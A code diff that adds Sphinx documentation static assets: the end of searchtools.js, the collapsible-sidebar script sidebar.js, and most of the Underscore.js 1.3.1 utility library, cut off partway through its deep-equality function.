+          // add custom score for some objects according to scorer
+          if (Scorer.objPrio.hasOwnProperty(match[2])) {
+            score += Scorer.objPrio[match[2]];
+          } else {
+            score += Scorer.objPrioDefault;
+          }
+          results.push([filenames[match[0]], fullname, '#'+anchor, descr, score]);
+        }
+      }
+    }
+
+    return results;
+  },
+
+  /**
+   * search for full-text terms in the index
+   */
+  performTermsSearch : function(searchterms, excluded, terms, titleterms) {
+    var filenames = this._index.filenames;
+    var titles = this._index.titles;
+
+    var i, j, file;
+    var fileMap = {};
+    var scoreMap = {};
+    var results = [];
+
+    // perform the search on the required terms
+    for (i = 0; i < searchterms.length; i++) {
+      var word = searchterms[i];
+      var files = [];
+      var _o = [
+        {files: terms[word], score: Scorer.term},
+        {files: titleterms[word], score: Scorer.title}
+      ];
+
+      // no match but word was a required one
+      if ($u.every(_o, function(o){return o.files === undefined;})) {
+        break;
+      }
+      // found search word in contents
+      $u.each(_o, function(o) {
+        var _files = o.files;
+        if (_files === undefined)
+          return
+
+        if (_files.length === undefined)
+          _files = [_files];
+        files = files.concat(_files);
+
+        // set score for the word in each file to Scorer.term
+        for (j = 0; j < _files.length; j++) {
+          file = _files[j];
+          if (!(file in scoreMap))
+            scoreMap[file] = {}
+          scoreMap[file][word] = o.score;
+        }
+      });
+
+      // create the mapping
+      for (j = 0; j < files.length; j++) {
+        file = files[j];
+        if (file in fileMap)
+          fileMap[file].push(word);
+        else
+          fileMap[file] = [word];
+      }
+    }
+
+    // now check if the files don't contain excluded terms
+    for (file in fileMap) {
+      var valid = true;
+
+      // check if all requirements are matched
+      if (fileMap[file].length != searchterms.length)
+          continue;
+
+      // ensure that none of the excluded terms is in the search result
+      for (i = 0; i < excluded.length; i++) {
+        if (terms[excluded[i]] == file ||
+            titleterms[excluded[i]] == file ||
+            $u.contains(terms[excluded[i]] || [], file) ||
+            $u.contains(titleterms[excluded[i]] || [], file)) {
+          valid = false;
+          break;
+        }
+      }
+
+      // if we have still a valid result we can add it to the result list
+      if (valid) {
+        // select one (max) score for the file.
+        // for better ranking, we should calculate ranking by using words statistics like basic tf-idf...
+        var score = $u.max($u.map(fileMap[file], function(w){return scoreMap[file][w]}));
+        results.push([filenames[file], titles[file], '', null, score]);
+      }
+    }
+    return results;
+  },
+
+  /**
+   * helper function to return a node containing the
+   * search summary for a given text. keywords is a list
+   * of stemmed words, hlwords is the list of normal, unstemmed
+   * words. the first one is used to find the occurance, the
+   * latter for highlighting it.
+   */
+  makeSearchSummary : function(text, keywords, hlwords) {
+    var textLower = text.toLowerCase();
+    var start = 0;
+    $.each(keywords, function() {
+      var i = textLower.indexOf(this.toLowerCase());
+      if (i > -1)
+        start = i;
+    });
+    start = Math.max(start - 120, 0);
+    var excerpt = ((start > 0) ? '...' : '') +
+      $.trim(text.substr(start, 240)) +
+      ((start + 240 - text.length) ? '...' : '');
+    var rv = $('<div class="context"></div>').text(excerpt);
+    $.each(hlwords, function() {
+      rv = rv.highlightText(this, 'highlighted');
+    });
+    return rv;
+  }
+};
+
+$(document).ready(function() {
+  Search.init();
+});

docs/build/html/_static/sidebar.js

@@ -0,0 +1,159 @@
+/*
+ * sidebar.js
+ * ~~~~~~~~~~
+ *
+ * This script makes the Sphinx sidebar collapsible.
+ *
+ * .sphinxsidebar contains .sphinxsidebarwrapper.  This script adds
+ * in .sphixsidebar, after .sphinxsidebarwrapper, the #sidebarbutton
+ * used to collapse and expand the sidebar.
+ *
+ * When the sidebar is collapsed the .sphinxsidebarwrapper is hidden
+ * and the width of the sidebar and the margin-left of the document
+ * are decreased. When the sidebar is expanded the opposite happens.
+ * This script saves a per-browser/per-session cookie used to
+ * remember the position of the sidebar among the pages.
+ * Once the browser is closed the cookie is deleted and the position
+ * reset to the default (expanded).
+ *
+ * :copyright: Copyright 2007-2015 by the Sphinx team, see AUTHORS.
+ * :license: BSD, see LICENSE for details.
+ *
+ */
+
+$(function() {
+  
+  
+  
+  
+  
+  
+  
+
+  // global elements used by the functions.
+  // the 'sidebarbutton' element is defined as global after its
+  // creation, in the add_sidebar_button function
+  var bodywrapper = $('.bodywrapper');
+  var sidebar = $('.sphinxsidebar');
+  var sidebarwrapper = $('.sphinxsidebarwrapper');
+
+  // for some reason, the document has no sidebar; do not run into errors
+  if (!sidebar.length) return;
+
+  // original margin-left of the bodywrapper and width of the sidebar
+  // with the sidebar expanded
+  var bw_margin_expanded = bodywrapper.css('margin-left');
+  var ssb_width_expanded = sidebar.width();
+
+  // margin-left of the bodywrapper and width of the sidebar
+  // with the sidebar collapsed
+  var bw_margin_collapsed = '.8em';
+  var ssb_width_collapsed = '.8em';
+
+  // colors used by the current theme
+  var dark_color = $('.related').css('background-color');
+  var light_color = $('.document').css('background-color');
+
+  function sidebar_is_collapsed() {
+    return sidebarwrapper.is(':not(:visible)');
+  }
+
+  function toggle_sidebar() {
+    if (sidebar_is_collapsed())
+      expand_sidebar();
+    else
+      collapse_sidebar();
+  }
+
+  function collapse_sidebar() {
+    sidebarwrapper.hide();
+    sidebar.css('width', ssb_width_collapsed);
+    bodywrapper.css('margin-left', bw_margin_collapsed);
+    sidebarbutton.css({
+        'margin-left': '0',
+        'height': bodywrapper.height()
+    });
+    sidebarbutton.find('span').text('»');
+    sidebarbutton.attr('title', _('Expand sidebar'));
+    document.cookie = 'sidebar=collapsed';
+  }
+
+  function expand_sidebar() {
+    bodywrapper.css('margin-left', bw_margin_expanded);
+    sidebar.css('width', ssb_width_expanded);
+    sidebarwrapper.show();
+    sidebarbutton.css({
+        'margin-left': ssb_width_expanded-12,
+        'height': bodywrapper.height()
+    });
+    sidebarbutton.find('span').text('«');
+    sidebarbutton.attr('title', _('Collapse sidebar'));
+    document.cookie = 'sidebar=expanded';
+  }
+
+  function add_sidebar_button() {
+    sidebarwrapper.css({
+        'float': 'left',
+        'margin-right': '0',
+        'width': ssb_width_expanded - 28
+    });
+    // create the button
+    sidebar.append(
+        '<div id="sidebarbutton"><span>&laquo;</span></div>'
+    );
+    var sidebarbutton = $('#sidebarbutton');
+    light_color = sidebarbutton.css('background-color');
+    // find the height of the viewport to center the '<<' in the page
+    var viewport_height;
+    if (window.innerHeight)
+ 	  viewport_height = window.innerHeight;
+    else
+	  viewport_height = $(window).height();
+    sidebarbutton.find('span').css({
+        'display': 'block',
+        'margin-top': (viewport_height - sidebar.position().top - 20) / 2
+    });
+
+    sidebarbutton.click(toggle_sidebar);
+    sidebarbutton.attr('title', _('Collapse sidebar'));
+    sidebarbutton.css({
+        'color': '#FFFFFF',
+        'border-left': '1px solid ' + dark_color,
+        'font-size': '1.2em',
+        'cursor': 'pointer',
+        'height': bodywrapper.height(),
+        'padding-top': '1px',
+        'margin-left': ssb_width_expanded - 12
+    });
+
+    sidebarbutton.hover(
+      function () {
+          $(this).css('background-color', dark_color);
+      },
+      function () {
+          $(this).css('background-color', light_color);
+      }
+    );
+  }
+
+  function set_position_from_cookie() {
+    if (!document.cookie)
+      return;
+    var items = document.cookie.split(';');
+    for(var k=0; k<items.length; k++) {
+      var key_val = items[k].split('=');
+      var key = key_val[0].replace(/ /, "");  // strip leading spaces
+      if (key == 'sidebar') {
+        var value = key_val[1];
+        if ((value == 'collapsed') && (!sidebar_is_collapsed()))
+          collapse_sidebar();
+        else if ((value == 'expanded') && (sidebar_is_collapsed()))
+          expand_sidebar();
+      }
+    }
+  }
+
+  add_sidebar_button();
+  var sidebarbutton = $('#sidebarbutton');
+  set_position_from_cookie();
+});

docs/build/html/_static/underscore-1.3.1.js

@@ -0,0 +1,999 @@
+//     Underscore.js 1.3.1
+//     (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
+//     Underscore is freely distributable under the MIT license.
+//     Portions of Underscore are inspired or borrowed from Prototype,
+//     Oliver Steele's Functional, and John Resig's Micro-Templating.
+//     For all details and documentation:
+//     http://documentcloud.github.com/underscore
+
+(function() {
+
+  // Baseline setup
+  // --------------
+
+  // Establish the root object, `window` in the browser, or `global` on the server.
+  var root = this;
+
+  // Save the previous value of the `_` variable.
+  var previousUnderscore = root._;
+
+  // Establish the object that gets returned to break out of a loop iteration.
+  var breaker = {};
+
+  // Save bytes in the minified (but not gzipped) version:
+  var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
+
+  // Create quick reference variables for speed access to core prototypes.
+  var slice            = ArrayProto.slice,
+      unshift          = ArrayProto.unshift,
+      toString         = ObjProto.toString,
+      hasOwnProperty   = ObjProto.hasOwnProperty;
+
+  // All **ECMAScript 5** native function implementations that we hope to use
+  // are declared here.
+  var
+    nativeForEach      = ArrayProto.forEach,
+    nativeMap          = ArrayProto.map,
+    nativeReduce       = ArrayProto.reduce,
+    nativeReduceRight  = ArrayProto.reduceRight,
+    nativeFilter       = ArrayProto.filter,
+    nativeEvery        = ArrayProto.every,
+    nativeSome         = ArrayProto.some,
+    nativeIndexOf      = ArrayProto.indexOf,
+    nativeLastIndexOf  = ArrayProto.lastIndexOf,
+    nativeIsArray      = Array.isArray,
+    nativeKeys         = Object.keys,
+    nativeBind         = FuncProto.bind;
+
+  // Create a safe reference to the Underscore object for use below.
+  var _ = function(obj) { return new wrapper(obj); };
+
+  // Export the Underscore object for **Node.js**, with
+  // backwards-compatibility for the old `require()` API. If we're in
+  // the browser, add `_` as a global object via a string identifier,
+  // for Closure Compiler "advanced" mode.
+  if (typeof exports !== 'undefined') {
+    if (typeof module !== 'undefined' && module.exports) {
+      exports = module.exports = _;
+    }
+    exports._ = _;
+  } else {
+    root['_'] = _;
+  }
+
+  // Current version.
+  _.VERSION = '1.3.1';
+
+  // Collection Functions
+  // --------------------
+
+  // The cornerstone, an `each` implementation, aka `forEach`.
+  // Handles objects with the built-in `forEach`, arrays, and raw objects.
+  // Delegates to **ECMAScript 5**'s native `forEach` if available.
+  var each = _.each = _.forEach = function(obj, iterator, context) {
+    if (obj == null) return;
+    if (nativeForEach && obj.forEach === nativeForEach) {
+      obj.forEach(iterator, context);
+    } else if (obj.length === +obj.length) {
+      for (var i = 0, l = obj.length; i < l; i++) {
+        if (i in obj && iterator.call(context, obj[i], i, obj) === breaker) return;
+      }
+    } else {
+      for (var key in obj) {
+        if (_.has(obj, key)) {
+          if (iterator.call(context, obj[key], key, obj) === breaker) return;
+        }
+      }
+    }
+  };
+
+  // Return the results of applying the iterator to each element.
+  // Delegates to **ECMAScript 5**'s native `map` if available.
+  _.map = _.collect = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
+    each(obj, function(value, index, list) {
+      results[results.length] = iterator.call(context, value, index, list);
+    });
+    if (obj.length === +obj.length) results.length = obj.length;
+    return results;
+  };
+
+  // **Reduce** builds up a single result from a list of values, aka `inject`,
+  // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
+  _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduce && obj.reduce === nativeReduce) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
+    }
+    each(obj, function(value, index, list) {
+      if (!initial) {
+        memo = value;
+        initial = true;
+      } else {
+        memo = iterator.call(context, memo, value, index, list);
+      }
+    });
+    if (!initial) throw new TypeError('Reduce of empty array with no initial value');
+    return memo;
+  };
+
+  // The right-associative version of reduce, also known as `foldr`.
+  // Delegates to **ECMAScript 5**'s native `reduceRight` if available.
+  _.reduceRight = _.foldr = function(obj, iterator, memo, context) {
+    var initial = arguments.length > 2;
+    if (obj == null) obj = [];
+    if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
+      if (context) iterator = _.bind(iterator, context);
+      return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
+    }
+    var reversed = _.toArray(obj).reverse();
+    if (context && !initial) iterator = _.bind(iterator, context);
+    return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator);
+  };
+
+  // Return the first value which passes a truth test. Aliased as `detect`.
+  _.find = _.detect = function(obj, iterator, context) {
+    var result;
+    any(obj, function(value, index, list) {
+      if (iterator.call(context, value, index, list)) {
+        result = value;
+        return true;
+      }
+    });
+    return result;
+  };
+
+  // Return all the elements that pass a truth test.
+  // Delegates to **ECMAScript 5**'s native `filter` if available.
+  // Aliased as `select`.
+  _.filter = _.select = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
+    each(obj, function(value, index, list) {
+      if (iterator.call(context, value, index, list)) results[results.length] = value;
+    });
+    return results;
+  };
+
+  // Return all the elements for which a truth test fails.
+  _.reject = function(obj, iterator, context) {
+    var results = [];
+    if (obj == null) return results;
+    each(obj, function(value, index, list) {
+      if (!iterator.call(context, value, index, list)) results[results.length] = value;
+    });
+    return results;
+  };
+
+  // Determine whether all of the elements match a truth test.
+  // Delegates to **ECMAScript 5**'s native `every` if available.
+  // Aliased as `all`.
+  _.every = _.all = function(obj, iterator, context) {
+    var result = true;
+    if (obj == null) return result;
+    if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
+    each(obj, function(value, index, list) {
+      if (!(result = result && iterator.call(context, value, index, list))) return breaker;
+    });
+    return result;
+  };
+
+  // Determine if at least one element in the object matches a truth test.
+  // Delegates to **ECMAScript 5**'s native `some` if available.
+  // Aliased as `any`.
+  var any = _.some = _.any = function(obj, iterator, context) {
+    iterator || (iterator = _.identity);
+    var result = false;
+    if (obj == null) return result;
+    if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
+    each(obj, function(value, index, list) {
+      if (result || (result = iterator.call(context, value, index, list))) return breaker;
+    });
+    return !!result;
+  };
+
+  // Determine if a given value is included in the array or object using `===`.
+  // Aliased as `contains`.
+  _.include = _.contains = function(obj, target) {
+    var found = false;
+    if (obj == null) return found;
+    if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
+    found = any(obj, function(value) {
+      return value === target;
+    });
+    return found;
+  };
+
+  // Invoke a method (with arguments) on every item in a collection.
+  _.invoke = function(obj, method) {
+    var args = slice.call(arguments, 2);
+    return _.map(obj, function(value) {
+      return (_.isFunction(method) ? method || value : value[method]).apply(value, args);
+    });
+  };
+
+  // Convenience version of a common use case of `map`: fetching a property.
+  _.pluck = function(obj, key) {
+    return _.map(obj, function(value){ return value[key]; });
+  };
+
+  // Return the maximum element or (element-based computation).
+  _.max = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj);
+    if (!iterator && _.isEmpty(obj)) return -Infinity;
+    var result = {computed : -Infinity};
+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      computed >= result.computed && (result = {value : value, computed : computed});
+    });
+    return result.value;
+  };
+
+  // Return the minimum element (or element-based computation).
+  _.min = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj);
+    if (!iterator && _.isEmpty(obj)) return Infinity;
+    var result = {computed : Infinity};
+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      computed < result.computed && (result = {value : value, computed : computed});
+    });
+    return result.value;
+  };
+
+  // Shuffle an array.
+  _.shuffle = function(obj) {
+    var shuffled = [], rand;
+    each(obj, function(value, index, list) {
+      if (index == 0) {
+        shuffled[0] = value;
+      } else {
+        rand = Math.floor(Math.random() * (index + 1));
+        shuffled[index] = shuffled[rand];
+        shuffled[rand] = value;
+      }
+    });
+    return shuffled;
+  };
+
+  // Sort the object's values by a criterion produced by an iterator.
+  _.sortBy = function(obj, iterator, context) {
+    return _.pluck(_.map(obj, function(value, index, list) {
+      return {
+        value : value,
+        criteria : iterator.call(context, value, index, list)
+      };
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }), 'value');
+  };
+
+  // Groups the object's values by a criterion. Pass either a string attribute
+  // to group by, or a function that returns the criterion.
+  _.groupBy = function(obj, val) {
+    var result = {};
+    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
+    each(obj, function(value, index) {
+      var key = iterator(value, index);
+      (result[key] || (result[key] = [])).push(value);
+    });
+    return result;
+  };
+
+  // Use a comparator function to figure out at what index an object should
+  // be inserted so as to maintain order. Uses binary search.
+  _.sortedIndex = function(array, obj, iterator) {
+    iterator || (iterator = _.identity);
+    var low = 0, high = array.length;
+    while (low < high) {
+      var mid = (low + high) >> 1;
+      iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid;
+    }
+    return low;
+  };
+
+  // Safely convert anything iterable into a real, live array.
+  _.toArray = function(iterable) {
+    if (!iterable)                return [];
+    if (iterable.toArray)         return iterable.toArray();
+    if (_.isArray(iterable))      return slice.call(iterable);
+    if (_.isArguments(iterable))  return slice.call(iterable);
+    return _.values(iterable);
+  };
+
+  // Return the number of elements in an object.
+  _.size = function(obj) {
+    return _.toArray(obj).length;
+  };
+
+  // Array Functions
+  // ---------------
+
+  // Get the first element of an array. Passing **n** will return the first N
+  // values in the array. Aliased as `head`. The **guard** check allows it to work
+  // with `_.map`.
+  _.first = _.head = function(array, n, guard) {
+    return (n != null) && !guard ? slice.call(array, 0, n) : array[0];
+  };
+
+  // Returns everything but the last entry of the array. Especcialy useful on
+  // the arguments object. Passing **n** will return all the values in
+  // the array, excluding the last N. The **guard** check allows it to work with
+  // `_.map`.
+  _.initial = function(array, n, guard) {
+    return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
+  };
+
+  // Get the last element of an array. Passing **n** will return the last N
+  // values in the array. The **guard** check allows it to work with `_.map`.
+  _.last = function(array, n, guard) {
+    if ((n != null) && !guard) {
+      return slice.call(array, Math.max(array.length - n, 0));
+    } else {
+      return array[array.length - 1];
+    }
+  };
+
+  // Returns everything but the first entry of the array. Aliased as `tail`.
+  // Especially useful on the arguments object. Passing an **index** will return
+  // the rest of the values in the array from that index onward. The **guard**
+  // check allows it to work with `_.map`.
+  _.rest = _.tail = function(array, index, guard) {
+    return slice.call(array, (index == null) || guard ? 1 : index);
+  };
+
+  // Trim out all falsy values from an array.
+  _.compact = function(array) {
+    return _.filter(array, function(value){ return !!value; });
+  };
+
+  // Return a completely flattened version of an array.
+  _.flatten = function(array, shallow) {
+    return _.reduce(array, function(memo, value) {
+      if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value));
+      memo[memo.length] = value;
+      return memo;
+    }, []);
+  };
+
+  // Return a version of the array that does not contain the specified value(s).
+  _.without = function(array) {
+    return _.difference(array, slice.call(arguments, 1));
+  };
+
+  // Produce a duplicate-free version of the array. If the array has already
+  // been sorted, you have the option of using a faster algorithm.
+  // Aliased as `unique`.
+  _.uniq = _.unique = function(array, isSorted, iterator) {
+    var initial = iterator ? _.map(array, iterator) : array;
+    var result = [];
+    _.reduce(initial, function(memo, el, i) {
+      if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) {
+        memo[memo.length] = el;
+        result[result.length] = array[i];
+      }
+      return memo;
+    }, []);
+    return result;
+  };
+
+  // Produce an array that contains the union: each distinct element from all of
+  // the passed-in arrays.
+  _.union = function() {
+    return _.uniq(_.flatten(arguments, true));
+  };
+
+  // Produce an array that contains every item shared between all the
+  // passed-in arrays. (Aliased as "intersect" for back-compat.)
+  _.intersection = _.intersect = function(array) {
+    var rest = slice.call(arguments, 1);
+    return _.filter(_.uniq(array), function(item) {
+      return _.every(rest, function(other) {
+        return _.indexOf(other, item) >= 0;
+      });
+    });
+  };
+
+  // Take the difference between one array and a number of other arrays.
+  // Only the elements present in just the first array will remain.
+  _.difference = function(array) {
+    var rest = _.flatten(slice.call(arguments, 1));
+    return _.filter(array, function(value){ return !_.include(rest, value); });
+  };
+
+  // Zip together multiple lists into a single array -- elements that share
+  // an index go together.
+  _.zip = function() {
+    var args = slice.call(arguments);
+    var length = _.max(_.pluck(args, 'length'));
+    var results = new Array(length);
+    for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i);
+    return results;
+  };
+
+  // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
+  // we need this function. Return the position of the first occurrence of an
+  // item in an array, or -1 if the item is not included in the array.
+  // Delegates to **ECMAScript 5**'s native `indexOf` if available.
+  // If the array is large and already in sort order, pass `true`
+  // for **isSorted** to use binary search.
+  _.indexOf = function(array, item, isSorted) {
+    if (array == null) return -1;
+    var i, l;
+    if (isSorted) {
+      i = _.sortedIndex(array, item);
+      return array[i] === item ? i : -1;
+    }
+    if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item);
+    for (i = 0, l = array.length; i < l; i++) if (i in array && array[i] === item) return i;
+    return -1;
+  };
+
+  // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
+  _.lastIndexOf = function(array, item) {
+    if (array == null) return -1;
+    if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);
+    var i = array.length;
+    while (i--) if (i in array && array[i] === item) return i;
+    return -1;
+  };
+
+  // Generate an integer Array containing an arithmetic progression. A port of
+  // the native Python `range()` function. See
+  // [the Python documentation](http://docs.python.org/library/functions.html#range).
+  _.range = function(start, stop, step) {
+    if (arguments.length <= 1) {
+      stop = start || 0;
+      start = 0;
+    }
+    step = arguments[2] || 1;
+
+    var len = Math.max(Math.ceil((stop - start) / step), 0);
+    var idx = 0;
+    var range = new Array(len);
+
+    while(idx < len) {
+      range[idx++] = start;
+      start += step;
+    }
+
+    return range;
+  };
+
+  // Function (ahem) Functions
+  // ------------------
+
+  // Reusable constructor function for prototype setting.
+  var ctor = function(){};
+
+  // Create a function bound to a given object (assigning `this`, and arguments,
+  // optionally). Binding with arguments is also known as `curry`.
+  // Delegates to **ECMAScript 5**'s native `Function.bind` if available.
+  // We check for `func.bind` first, to fail fast when `func` is undefined.
+  _.bind = function bind(func, context) {
+    var bound, args;
+    if (func.bind === nativeBind && nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
+    if (!_.isFunction(func)) throw new TypeError;
+    args = slice.call(arguments, 2);
+    return bound = function() {
+      if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
+      ctor.prototype = func.prototype;
+      var self = new ctor;
+      var result = func.apply(self, args.concat(slice.call(arguments)));
+      if (Object(result) === result) return result;
+      return self;
+    };
+  };
+
+  // Bind all of an object's methods to that object. Useful for ensuring that
+  // all callbacks defined on an object belong to it.
+  _.bindAll = function(obj) {
+    var funcs = slice.call(arguments, 1);
+    if (funcs.length == 0) funcs = _.functions(obj);
+    each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
+    return obj;
+  };
+
+  // Memoize an expensive function by storing its results.
+  _.memoize = function(func, hasher) {
+    var memo = {};
+    hasher || (hasher = _.identity);
+    return function() {
+      var key = hasher.apply(this, arguments);
+      return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
+    };
+  };
+
+  // Delays a function for the given number of milliseconds, and then calls
+  // it with the arguments supplied.
+  _.delay = function(func, wait) {
+    var args = slice.call(arguments, 2);
+    return setTimeout(function(){ return func.apply(func, args); }, wait);
+  };
+
+  // Defers a function, scheduling it to run after the current call stack has
+  // cleared.
+  _.defer = function(func) {
+    return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
+  };
+
+  // Returns a function, that, when invoked, will only be triggered at most once
+  // during a given window of time.
+  _.throttle = function(func, wait) {
+    var context, args, timeout, throttling, more;
+    var whenDone = _.debounce(function(){ more = throttling = false; }, wait);
+    return function() {
+      context = this; args = arguments;
+      var later = function() {
+        timeout = null;
+        if (more) func.apply(context, args);
+        whenDone();
+      };
+      if (!timeout) timeout = setTimeout(later, wait);
+      if (throttling) {
+        more = true;
+      } else {
+        func.apply(context, args);
+      }
+      whenDone();
+      throttling = true;
+    };
+  };
+
+  // Returns a function, that, as long as it continues to be invoked, will not
+  // be triggered. The function will be called after it stops being called for
+  // N milliseconds.
+  _.debounce = function(func, wait) {
+    var timeout;
+    return function() {
+      var context = this, args = arguments;
+      var later = function() {
+        timeout = null;
+        func.apply(context, args);
+      };
+      clearTimeout(timeout);
+      timeout = setTimeout(later, wait);
+    };
+  };
+
+  // Returns a function that will be executed at most one time, no matter how
+  // often you call it. Useful for lazy initialization.
+  _.once = function(func) {
+    var ran = false, memo;
+    return function() {
+      if (ran) return memo;
+      ran = true;
+      return memo = func.apply(this, arguments);
+    };
+  };
+
+  // Returns the first function passed as an argument to the second,
+  // allowing you to adjust arguments, run code before and after, and
+  // conditionally execute the original function.
+  _.wrap = function(func, wrapper) {
+    return function() {
+      var args = [func].concat(slice.call(arguments, 0));
+      return wrapper.apply(this, args);
+    };
+  };
+
+  // Returns a function that is the composition of a list of functions, each
+  // consuming the return value of the function that follows.
+  _.compose = function() {
+    var funcs = arguments;
+    return function() {
+      var args = arguments;
+      for (var i = funcs.length - 1; i >= 0; i--) {
+        args = [funcs[i].apply(this, args)];
+      }
+      return args[0];
+    };
+  };
+
+  // Returns a function that will only be executed after being called N times.
+  _.after = function(times, func) {
+    if (times <= 0) return func();
+    return function() {
+      if (--times < 1) { return func.apply(this, arguments); }
+    };
+  };
+
+  // Object Functions
+  // ----------------
+
+  // Retrieve the names of an object's properties.
+  // Delegates to **ECMAScript 5**'s native `Object.keys`
+  _.keys = nativeKeys || function(obj) {
+    if (obj !== Object(obj)) throw new TypeError('Invalid object');
+    var keys = [];
+    for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key;
+    return keys;
+  };
+
+  // Retrieve the values of an object's properties.
+  _.values = function(obj) {
+    return _.map(obj, _.identity);
+  };
+
+  // Return a sorted list of the function names available on the object.
+  // Aliased as `methods`
+  _.functions = _.methods = function(obj) {
+    var names = [];
+    for (var key in obj) {
+      if (_.isFunction(obj[key])) names.push(key);
+    }
+    return names.sort();
+  };
+
+  // Extend a given object with all the properties in passed-in object(s).
+  _.extend = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      for (var prop in source) {
+        obj[prop] = source[prop];
+      }
+    });
+    return obj;
+  };
+
+  // Fill in a given object with default properties.
+  _.defaults = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      for (var prop in source) {
+        if (obj[prop] == null) obj[prop] = source[prop];
+      }
+    });
+    return obj;
+  };
+
+  // Create a (shallow-cloned) duplicate of an object.
+  _.clone = function(obj) {
+    if (!_.isObject(obj)) return obj;
+    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
+  };
+
+  // Invokes interceptor with the obj, and then returns obj.
+  // The primary purpose of this method is to "tap into" a method chain, in
+  // order to perform operations on intermediate results within the chain.
+  _.tap = function(obj, interceptor) {
+    interceptor(obj);
+    return obj;
+  };
+
+  // Internal recursive comparison function.
+  function eq(a, b, stack) {
+    // Identical objects are equal. `0 === -0`, but they aren't identical.
+    // See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal.
+    if (a === b) return a !== 0 || 1 / a == 1 / b;
+    // A strict comparison is necessary because `null == undefined`.
+    if (a == null || b == null) return a === b;
+    // Unwrap any wrapped objects.
+    if (a._chain) a = a._wrapped;
+    if (b._chain) b = b._wrapped;
+    // Invoke a custom `isEqual` method if one is provided.
+    if (a.isEqual && _.isFunction(a.isEqual)) return a.isEqual(b);
+    if (b.isEqual && _.isFunction(b.isEqual)) return b.isEqual(a);
+    // Compare `[[Class]]` names.
+    var className = toString.call(a);
+    if (className != toString.call(b)) return false;
+    switch (className) {
+      // Strings, numbers, dates, and booleans are compared by value.
+      case '[object String]':
+        // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
+        // equivalent to `new String("5")`.
+        return a == String(b);
+      case '[object Number]':
+        // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
+        // other numeric values.
+        return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
+      case '[object Date]':
+      case '[object Boolean]':
+        // Coerce dates and booleans to numeric primitive values. Dates are compared by their
+        // millisecond representations. Note that invalid dates with millisecond representations
+        // of `NaN` are not equivalent.
+        return +a == +b;
+      // RegExps are compared by their source patterns and flags.
+      case '[object RegExp]':
+        return a.source == b.source &&
+               a.global == b.global &&
+               a.multiline == b.multiline &&
+               a.ignoreCase == b.ignoreCase;
+    }
+    if (typeof a != 'object' || typeof b != 'object') return false;
+    // Assume equality for cyclic structures. The algorithm for detecting cyclic
+    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
+    var length = stack.length;
+    while (length--) {
+      // Linear search. Performance is inversely proportional to the number of
+      // unique nested structures.
+      if (stack[length] == a) return true;
+    }
+    // Add the first object to the stack of traversed objects.
+    stack.push(a);
+    var size = 0, result = true;
+    // Recursively compare objects and arrays.
+    if (className == '[object Array]') {
+      // Compare array lengths to determine if a deep comparison is necessary.
+      size = a.length;
+      result = size == b.length;
+      if (result) {
+        // Deep compare the contents, ignoring non-numeric properties.
+        while (size--) {
+          // Ensure commutative equality for sparse arrays.
+          if (!(result = size in a == size in b && eq(a[size], b[size], stack))) break;
+        }
+      }
+    } else {
+      // Objects with different constructors are not equivalent.
+      if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false;
+      // Deep compare objects.
+      for (var key in a) {
+        if (_.has(a, key)) {
+          // Count the expected number of properties.
+          size++;
+          // Deep compare each member.
+          if (!(result = _.has(b, key) && eq(a[key], b[key], stack))) break;
+        }
+      }
+      // Ensure that both objects contain the same number of properties.
+      if (result) {
+        for (key in b) {
+          if (_.has(b, key) && !(size--)) break;
+        }
+        result = !size;
+      }
+    }
+    // Remove the first object from the stack of traversed objects.
+    stack.pop();
+    return result;
+  }
+
